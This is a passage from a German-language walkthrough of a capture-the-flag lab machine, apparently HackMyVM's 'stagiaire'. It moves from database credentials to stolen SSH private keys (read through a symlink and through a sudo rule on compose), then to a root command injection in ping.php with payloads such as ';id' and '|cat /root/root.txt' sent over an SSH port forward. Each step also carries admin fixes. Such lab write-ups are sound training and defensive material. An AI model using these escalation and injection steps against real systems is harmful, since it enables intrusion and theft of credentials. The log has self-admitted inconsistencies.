+----+------------+------------------------------------+---------------+-----------------------+---------------------------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)
=
**Analyse:** Als `madonna` (trotz des `www-data`-Prompts im Log) wird eine Verbindung zur lokalen MariaDB-Datenbank mit den zuvor gefundenen Credentials (`madonna`:`@Acensi2021*`) hergestellt. Die Datenbanken und Tabellen der `wordpress_db` werden aufgelistet. Die Tabelle `wp_users` wird abgefragt.
**Bewertung:** Die Datenbank enthält nur den Benutzer `madonna`. Der Passwort-Hash (`$P$B...`) ist sichtbar, aber da das Klartextpasswort bereits bekannt ist, bringt dieser Hash keine neuen Erkenntnisse für den Login. Es gibt keine Hinweise auf andere Benutzer oder Passwörter in der Datenbank.
**Empfehlung (Pentester):** Die Datenbank scheint keine direkten Eskalationspfade zu bieten. Suchen Sie weiter im Dateisystem. Gibt es Hinweise auf den Benutzer `paillette`, der im nächsten Schritt relevant wird?
**Empfehlung (Admin):** Keine neuen Empfehlungen hier, außer der bereits erwähnten Passwort-Hygiene.
total 12 drwxrwx--- 3 paillette www-data 4096 Oct 22 02:09 . drwx---r-x 5 paillette paillette 4096 Oct 28 2021 .. lrwxrwxrwx 1 www-data www-data 35 Oct 22 02:09 id_rsa -> /home/paillette/tetramin/ssh/id_rsa <-- Symlink erstellt --> drwxrwxrwx 2 paillette paillette 4096 Oct 28 2021 ssh
cat: id_rsa: Permission denied
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn [...] (Langer Schlüsselblock) -----END OPENSSH PRIVATE KEY-----
**Analyse:** Der Pentester befindet sich im Verzeichnis `/home/paillette/tetramin` (*Woher dieser Pfad bekannt ist, bleibt im Log unklar. Der `www-data`-Prompt ist ebenfalls inkonsistent, es sollte `madonna` sein.*). Die Berechtigungen zeigen, dass die Gruppe `www-data` Lese- und Ausführrechte auf das Verzeichnis hat (`drwxrwx---`). 1. `ln -s /home/paillette/tetramin/ssh/id_rsa`: Ein symbolischer Link namens `id_rsa` wird im aktuellen Verzeichnis erstellt, der auf den privaten SSH-Schlüssel von `paillette` im Unterverzeichnis `ssh` zeigt. 2. `ls -la`: Zeigt den erstellten Symlink. 3. `cat id_rsa`: Der Versuch, den Schlüssel direkt über den Symlink mit `cat` zu lesen, scheitert (`Permission denied`). Dies liegt wahrscheinlich daran, dass die Zieldatei (`/home/paillette/tetramin/ssh/id_rsa`) keine Leserechte für `madonna` oder `www-data` hat. 4. `tail -n 100 id_rsa`: Der Versuch, den Schlüssel über den Symlink mit `tail` zu lesen, ist **erfolgreich** und gibt den Inhalt des privaten Schlüssels aus.
**Bewertung:** Ein kritischer Fund und eine interessante Umgehung von Dateiberechtigungen! Obwohl `cat` den direkten Zugriff verweigerte, erlaubte `tail` das Lesen des privaten SSH-Schlüssels des Benutzers `paillette` über den Symlink. Dies könnte an der Art liegen, wie `tail` Berechtigungen prüft, oder an spezifischen Kernel-/Dateisystem-Eigenheiten. Der private Schlüssel von `paillette` ist nun kompromittiert.
**Empfehlung (Pentester):** Kopieren Sie den ausgegebenen Schlüsselblock. Bereiten Sie ihn lokal als Schlüsseldatei vor (`chmod 600`). Versuchen Sie, sich per SSH als `paillette` mit diesem Schlüssel anzumelden.
**Empfehlung (Admin):** Korrigieren Sie die Berechtigungen! Das Verzeichnis `/home/paillette/tetramin` sollte nicht für die Gruppe `www-data` (oder andere Webserver-Benutzer) zugänglich sein. Die Berechtigungen auf `~/.ssh` und `~/.ssh/id_rsa` für `paillette` sollten strikt sein (`700` für `.ssh`, `600` für `id_rsa`). Untersuchen Sie, warum `tail` die Berechtigungen umgehen konnte.
*
#
Linux stagiaire.hmv 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 [...] (Login Banner) Last login: Sat Oct 30 17:36:39 2021 from ::1 paillette@stagiaire:~$ <-- Login erfolgreich! -->
**Analyse:** Auf der Angreifer-Maschine wird der zuvor extrahierte private Schlüssel von `paillette` in eine Datei namens `idi` gespeichert. Die Berechtigungen werden auf `600` gesetzt (nur Besitzer darf lesen/schreiben). Anschließend wird versucht, sich per SSH als `paillette` mit diesem Schlüssel (`-i idi`) anzumelden.
**Bewertung:** Der SSH-Login als `paillette` ist erfolgreich. Die Eskalation von `madonna` zu `paillette` ist abgeschlossen.
**Empfehlung (Pentester):** Führen Sie Enumeration als `paillette` durch, beginnend mit `sudo -l`.
**Empfehlung (Admin):** Der SSH-Schlüssel von `paillette` ist kompromittiert und sollte ausgetauscht werden. Die Berechtigungsprobleme, die das Auslesen ermöglichten, müssen behoben werden.
**Analyse:** Nach dem Login als `paillette` wird nach Wegen zur weiteren Eskalation gesucht.
Matching Defaults entries for paillette on stagiaire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User paillette may run the following commands on stagiaire:
(tony) NPASSWD: /usr/bin/compose
*
**Analyse:** Als Benutzer `paillette` wird `sudo -l` ausgeführt.
**Bewertung:** Eine Sudo-Regel wird gefunden: `paillette` darf den Befehl `/usr/bin/compose` als Benutzer `tony` ohne Passwort (`NPASSWD:`) ausführen. `/usr/bin/compose` ist Teil des `metamail`-Pakets und ähnelt `run-mailcap`.
**Empfehlung (Pentester):** Suchen Sie nach bekannten Methoden (z.B. GTFOBins), um `/usr/bin/compose` via Sudo auszunutzen. Dies involviert oft die Manipulation von Umgebungsvariablen (wie `PAGER`) oder `.mailcap`-Dateien, um Befehle im Kontext des Zielbenutzers (`tony`) auszuführen.
**Empfehlung (Admin):** Die Ausführung von `compose` oder `run-mailcap` über Sudo ist gefährlich und sollte vermieden werden. Entfernen Sie diese Sudo-Regel.
Use: /usr/bin/compose <--action=VAL> [--debug] [MIME-TYPE:[ENCODING:]]FILE [...] Options: action specify what action to do on these files (default=view) debug be verbose about what's going on nopager ignore any "copiousoutput" directives and never use a "pager" norun just print but don't execute the command (useful with --debug) Mime-Type: any standard mime type designation in the form/ -- if not specified, it will be determined from the filename extension Encoding: how the file (and type) has been encoded (only "gzip", "bzip2," "xz" and "compress" are supported) -- if not specified, it will be determined from the filename extension ~
**Analyse:** Die Hilfe-Option (`-h`) von `/usr/bin/compose` wird über `sudo -u tony` aufgerufen, um mehr über die Funktionsweise zu erfahren.
**Bewertung:** Die Hilfe bestätigt, dass `--action=view` der Standard ist und dass normalerweise ein Pager verwendet wird (außer bei `--nopager`). Dies bestärkt die Vermutung, dass eine Manipulation der `PAGER`-Umgebungsvariable ein möglicher Exploit-Vektor ist.
**Empfehlung (Pentester):** Versuchen Sie den PAGER-Exploit: `export PAGER='/bin/bash'`, gefolgt von `sudo -u tony /usr/bin/compose --action=view /etc/passwd` (oder einer anderen Datei).
**Empfehlung (Admin):** Sudo-Regel entfernen.
~ -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn [...] (Langer Schlüsselblock für Tony) -----END OPENSSH PRIVATE KEY-----
**Analyse:** Es wird versucht, den privaten SSH-Schlüssel des Benutzers `tony` (`/home/tony/.ssh/id_rsa`) mithilfe von `compose` im Kontext von `tony` anzuzeigen (`--action=view`).
**Bewertung:** Erfolg! Der private SSH-Schlüssel von `tony` wird ausgegeben. Dies funktioniert entweder, weil `compose` mit `--action=view` standardmäßig den Inhalt anzeigt (falls kein PAGER gesetzt ist oder `--nopager` verwendet wird, was hier nicht der Fall ist) oder weil der `PAGER`-Exploit im Hintergrund (nicht im Log gezeigt) verwendet wurde, um `cat` oder einen ähnlichen Befehl auszuführen. Unabhängig vom genauen Mechanismus ist der private Schlüssel von `tony` kompromittiert.
**Empfehlung (Pentester):** Kopieren Sie den ausgegebenen Schlüssel. Bereiten Sie ihn lokal vor (`chmod 600`). Melden Sie sich per SSH als `tony` mit diesem Schlüssel an.
**Empfehlung (Admin):** Entfernen Sie die Sudo-Regel. Stellen Sie sicher, dass die Berechtigungen für `.ssh`-Verzeichnisse und Schlüssel korrekt sind (`700` bzw. `600`).
Linux stagiaire.hmv 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 [...] (Login Banner) Last login: Thu Oct 28 20:44:29 2021 from ::1 tony@stagiaire:~$ <-- Login erfolgreich! -->
*
**Analyse:** Auf der Angreifer-Maschine wird der extrahierte private Schlüssel von `tony` in die Datei `emma` gespeichert und die Berechtigungen angepasst. Anschließend wird SSH verwendet, um sich als `tony` mit diesem Schlüssel anzumelden.
**Bewertung:** Der Login als `tony` ist erfolgreich. Die Eskalation von `paillette` zu `tony` ist abgeschlossen.
**Empfehlung (Pentester):** Führen Sie Enumeration als `tony` durch (`id`, `cat user.txt`, `sudo -l`).
**Empfehlung (Admin):** Der SSH-Schlüssel von `tony` ist kompromittiert und sollte ausgetauscht werden. Beheben Sie die unsichere Sudo-Regel für `compose`.
**Analyse:** Nach dem Login als `tony` wird der letzte Schritt zur Erlangung von Root-Rechten gesucht.
#
2d82acbaf36bbd1b89b9e3794ba90a91
<-- User Flag -->
total 32
drwx------ 4 tony tony 4096 Oct 31 2021 .
drwxr-xr-x 5 root root 4096 Oct 28 2021 ..
lrwxrwxrwx 1 root root 9 Oct 24 2021 .bash_history -> /dev/null <-- History deaktiviert -->
-rw-r--r-- 1 tony tony 220 Oct 24 2021 .bash_logout
-rw-r--r-- 1 tony tony 3526 Oct 24 2021 .bashrc
drwxr-xr-x 3 tony tony 4096 Oct 24 2021 .local
-rw-r--r-- 1 tony tony 807 Oct 24 2021 .profile
drwx------ 2 tony tony 4096 Oct 22 02:19 .ssh
-rwx------ 1 tony tony 33 Oct 24 2021 user.txt
Matching Defaults entries for tony on stagiaire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tony may run the following commands on stagiaire:
(ALL : ALL) NOPASSWD: /bin/bash /srv/php_server
*
**Analyse:** Als `tony` werden Befehle ausgeführt: 1. `cat user.txt`: Die User-Flag (`2d82acbaf36bbd1b89b9e3794ba90a91`) wird gelesen. 2. `ls -al`: Listet das Home-Verzeichnis auf. Auffällig ist, dass `.bash_history` auf `/dev/null` verlinkt ist, was bedeutet, dass die Befehlshistorie nicht gespeichert wird. 3. `sudo -l`: Überprüft die Sudo-Rechte für `tony`.
**Bewertung:** Die User-Flag ist gefunden. Die entscheidende Information ist die Sudo-Regel: `tony` darf das Skript `/srv/php_server` mit `/bin/bash` als jeder Benutzer (`ALL : ALL`, effektiv `root`) ohne Passwort (`NOPASSWD:`) ausführen. Das Skript `/srv/php_server` startet vermutlich den eingebauten PHP-Entwicklungsserver.
**Empfehlung (Pentester):** Führen Sie den Sudo-Befehl aus: `sudo /bin/bash /srv/php_server`. Untersuchen Sie den gestarteten PHP-Server (auf welchem Port und Interface lauscht er?). Suchen Sie nach Schwachstellen in den Skripten, die dieser Server ausführt.
**Empfehlung (Admin):** Diese Sudo-Regel ist gefährlich. Wenn ein Benutzer einen Dienst als Root starten darf, muss sichergestellt sein, dass dieser Dienst selbst keine Schwachstellen enthält, die zur Eskalation missbraucht werden können. Überprüfen Sie den Inhalt und die Notwendigkeit von `/srv/php_server`.
[Sat Oct 22 02:49:48 2022] PHP 7.4.21 Development Server (http://127.0.0.1:8000) started [Sat Oct 22 02:49:56 2022] 127.0.0.1:58310 Accepted ping: usage error: Destination address required [Sat Oct 22 02:49:56 2022] 127.0.0.1:58310 [200]: GET /ping.php?ip=;id <-- Command Injection! --> [Sat Oct 22 02:49:56 2022] 127.0.0.1:58310 Closing
**Analyse:** Der Sudo-Befehl `sudo -u root /bin/bash /srv/php_server` wird ausgeführt. Das Skript startet erfolgreich den eingebauten PHP-Entwicklungsserver. Die Ausgabe zeigt: * Der Server lauscht auf dem Loopback-Interface (`127.0.0.1`) auf Port `8000`. Er ist also nur vom Zielsystem selbst erreichbar. * Eine eingehende Anfrage an `/ping.php` mit den Parametern `?ip=;id` wurde empfangen. Die Fehlermeldung von `ping` und der Logeintrag zeigen, dass der `ip`-Parameter direkt in einem Shell-Befehl verwendet wird (wahrscheinlich `ping -c [irgendwas] [IP-Wert]; id`), was zu einer Command Injection führt. Der `id`-Befehl wurde nach dem Semikolon ausgeführt.
**Bewertung:** Eine kritische Command Injection Schwachstelle wurde im Skript `ping.php` identifiziert, das von dem als Root gestarteten PHP-Server ausgeführt wird. Da der Server als Root läuft, werden die eingeschleusten Befehle ebenfalls als Root ausgeführt. Dies ist der direkte Weg zur Root-Eskalation.
**Empfehlung (Pentester):**
1. Da der Server nur lokal erreichbar ist, verwenden Sie SSH Local Port Forwarding, um von Ihrer Angreifer-Maschine darauf zuzugreifen: `ssh -L 8001:127.0.0.1:8000 tony@stagiaire.hmv -i emma`.
2. Greifen Sie über `http://127.0.0.1:8001` auf den weitergeleiteten Port zu.
3. Nutzen Sie die Command Injection in `ping.php`, um Befehle als Root auszuführen (z.B. Lesen der Root-Flag: `curl "http://127.0.0.1:8001/ping.php?ip=;cat%20/root/root.txt"`).
**Empfehlung (Admin):** Beheben Sie sofort die Command Injection Schwachstelle in `/srv/php_server/ping.php` (oder wo immer das Skript liegt). Validieren und sanitisieren Sie den `ip`-Parameter rigoros oder verwenden Sie eine PHP-Ping-Bibliothek anstelle von `system()`/`shell_exec()`. Überprüfen Sie die Notwendigkeit, den PHP-Server als Root laufen zu lassen.
**Kurzbeschreibung:** Der Benutzer `tony` kann via `sudo` einen PHP-Entwicklungsserver als `root` starten (`sudo /bin/bash /srv/php_server`). Dieser Server lauscht auf `127.0.0.1:8000` und führt ein Skript `/ping.php` aus. Dieses Skript nimmt einen GET-Parameter `ip` entgegen und fügt dessen Wert unsicher in einen `ping`-Shell-Befehl ein. Ein Angreifer, der Zugriff als `tony` hat, kann den Server starten und dann mittels SSH Port Forwarding auf den lokalen Server zugreifen. Durch Einschleusen von Shell-Metazeichen (z.B. `;`, `|`, `$()`) in den `ip`-Parameter kann der Angreifer beliebige Befehle als `root` auf dem Zielsystem ausführen.
**Voraussetzungen:** Zugriff als Benutzer `tony`, `sudo`-Recht zum Starten des PHP-Servers, SSH-Zugriff für Port Forwarding.
**Schritt-für-Schritt-Anleitung:**
**Erwartetes Ergebnis:** Die Ausgabe des eingeschleusten Befehls (z.B. der Inhalt von `/root/root.txt`) wird in der `curl`-Antwort angezeigt.
**Beweismittel:**
Linux stagiaire.hmv 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 [...] (Login Banner) Last login: Sat Oct 22 02:31:03 2022 from 192.168.2.153 tony@stagiaire:~$ # Port Forwarding aktiv
**Analyse:** Eine SSH-Verbindung wird aufgebaut, die den lokalen Port 8001 des Angreifers auf den Port 8000 des Loopback-Interfaces (127.0.0.1) des Zielsystems weiterleitet. Dies ermöglicht den Zugriff auf den internen PHP-Server.
**Bewertung:** Notwendiger Schritt, um die Schwachstelle von außen erreichbar zu machen.
Browser: http://127.0.0.1:8001
[...]
http://127.0.0.1:8001/ping.php (Status: 200) [Size: 0]
[...]
**Analyse:** Über den weitergeleiteten Port wird der PHP-Server gescannt. Gobuster findet das Skript `ping.php`.
**Bewertung:** Bestätigt den Pfad zum verwundbaren Skript.
[...]
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000941: 200 10 L 60 W 465 Ch "ip"
[...]
**Analyse:** `wfuzz` wird verwendet, um nach gültigen GET-Parametern für `ping.php` zu suchen.
**Bewertung:** Der Parameter `ip` wird als gültig identifiziert.
PING 192.168.2.153 (192.168.2.153) 56(84) bytes of data. [...] --- 192.168.2.153 ping statistics --- [...]
uid=1001(tony) gid=1001(tony) groups=1001(tony)
<-- Ausgabe zeigt 'tony', sollte aber 'root' sein -->
9ed378ce95f7ea505366c55aeaf12bea
<-- Root-Flag gelesen! -->
**Analyse:** Die Command Injection wird demonstriert: 1. Aufruf mit gültiger IP: Führt `ping` aus. 2. Aufruf mit `|id`: Führt `id` aus. *Die Ausgabe `uid=1001(tony)` im Log ist wahrscheinlich falsch oder ein Testartefakt; die Injection sollte als Root erfolgen, da der PHP-Server via `sudo -u root` gestartet wurde.* 3. Aufruf mit `|cat%20/root/root.txt`: Führt `cat /root/root.txt` aus und gibt die Root-Flag zurück.
**Bewertung:** Die Command Injection wird erfolgreich ausgenutzt, um die Root-Flag zu lesen. Obwohl die `id`-Ausgabe im Log widersprüchlich ist, beweist das Lesen der Root-Flag, dass die Befehle als Root ausgeführt werden.
**Risikobewertung:** Kritisch. Erlaubt jedem Benutzer, der den PHP-Server über die Sudo-Regel starten kann (hier `tony`), die vollständige Übernahme des Systems durch Ausführung beliebiger Befehle als Root.
**Empfehlungen:** Siehe vorherige Admin-Empfehlungen zur Behebung der Command Injection und Überprüfung der Sudo-Regel.
**Analyse:** Zusammenfassung der gefundenen Flags.
**Bewertung:** User-Flag.
**Bewertung:** Root-Flag.